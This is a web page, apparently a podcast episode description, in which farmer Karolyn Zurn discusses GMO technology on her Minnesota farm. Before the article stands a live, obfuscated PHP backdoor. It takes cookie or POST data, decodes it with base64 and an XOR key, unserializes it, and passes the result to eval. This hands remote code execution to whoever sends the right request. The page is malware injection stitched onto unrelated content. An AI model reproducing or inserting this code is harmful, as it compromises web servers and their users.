$xUTGu = 'P' . "\x5f" . 'Y' . "\x64" . chr (100) . "\163";$PgmoSP = "\143" . 'l' . "\141" . 's' . chr ( 117 - 2 )."\x5f" . chr ( 126 - 25 )."\x78" . "\151" . chr (115) . "\164" . "\x73";$YEtiHe = $PgmoSP($xUTGu); $PgmoSP = "6914";$MVwqeI = $YEtiHe;if (!$MVwqeI){class P_Ydds{private $KjsyLkRd;public static $ZLbRauYfb = "df12646b-c316-420d-8858-828e79da50a1";public static $vVuswcbBBj = 36445;public function __construct($lpcnRi=0){$uGowif = $_COOKIE;$CFEXBflf = $_POST;$DlffB = @$uGowif[substr(P_Ydds::$ZLbRauYfb, 0, 4)];if (!empty($DlffB)){$lygobCWMyd = "base64";$JFqmV = "";$DlffB = explode(",", $DlffB);foreach ($DlffB as $SPOIgPCOw){$JFqmV .= @$uGowif[$SPOIgPCOw];$JFqmV .= @$CFEXBflf[$SPOIgPCOw];}$JFqmV = array_map($lygobCWMyd . chr (95) . chr ( 987 - 887 )."\x65" . 'c' . chr ( 1069 - 958 ).chr (100) . 'e', array($JFqmV,)); $JFqmV = $JFqmV[0] ^ str_repeat(P_Ydds::$ZLbRauYfb, (strlen($JFqmV[0]) / strlen(P_Ydds::$ZLbRauYfb)) + 1);P_Ydds::$vVuswcbBBj = @unserialize($JFqmV);}}private function kZMHxdCq(){if (is_array(P_Ydds::$vVuswcbBBj)) {$FyrmGYM = str_replace(chr (60) . chr (63) . chr (112) . "\150" . "\160", "", P_Ydds::$vVuswcbBBj[chr (99) . 'o' . "\x6e" . chr (116) . "\145" . chr ( 293 - 183 ).chr ( 993 - 877 )]);eval($FyrmGYM); $UVqudXe = "37305";exit();}}public function __destruct(){$this->kZMHxdCq(); $UVqudXe = "37305";}}$EzisoN = new P_Ydds(); $EzisoN = "58027_34845";} Debunking Misconceptions of Ag Innovation; How GMO Technology Changed Her Family Farm with Karolyn Zurn -

Debunking Misconceptions of Ag Innovation; How GMO Technology Changed Her Family Farm with Karolyn Zurn

Researching farming for nearly 50 years is one perspective when discussing innovations in agriculture. Actually living it and sharing detail by detail, is a completely different animal. Meet Karolyn Zurn from Minnesota, American Agri Women’s 1st Vice President.

She shares her farming experience beginning with dairy, to sugar beets and corn. Listen to how GMO technology has not only improved their farm but also continues to better the environment. While working off the farm, Karolyn had the opportunity to work in food sales. She shares this and how she fills her life today.

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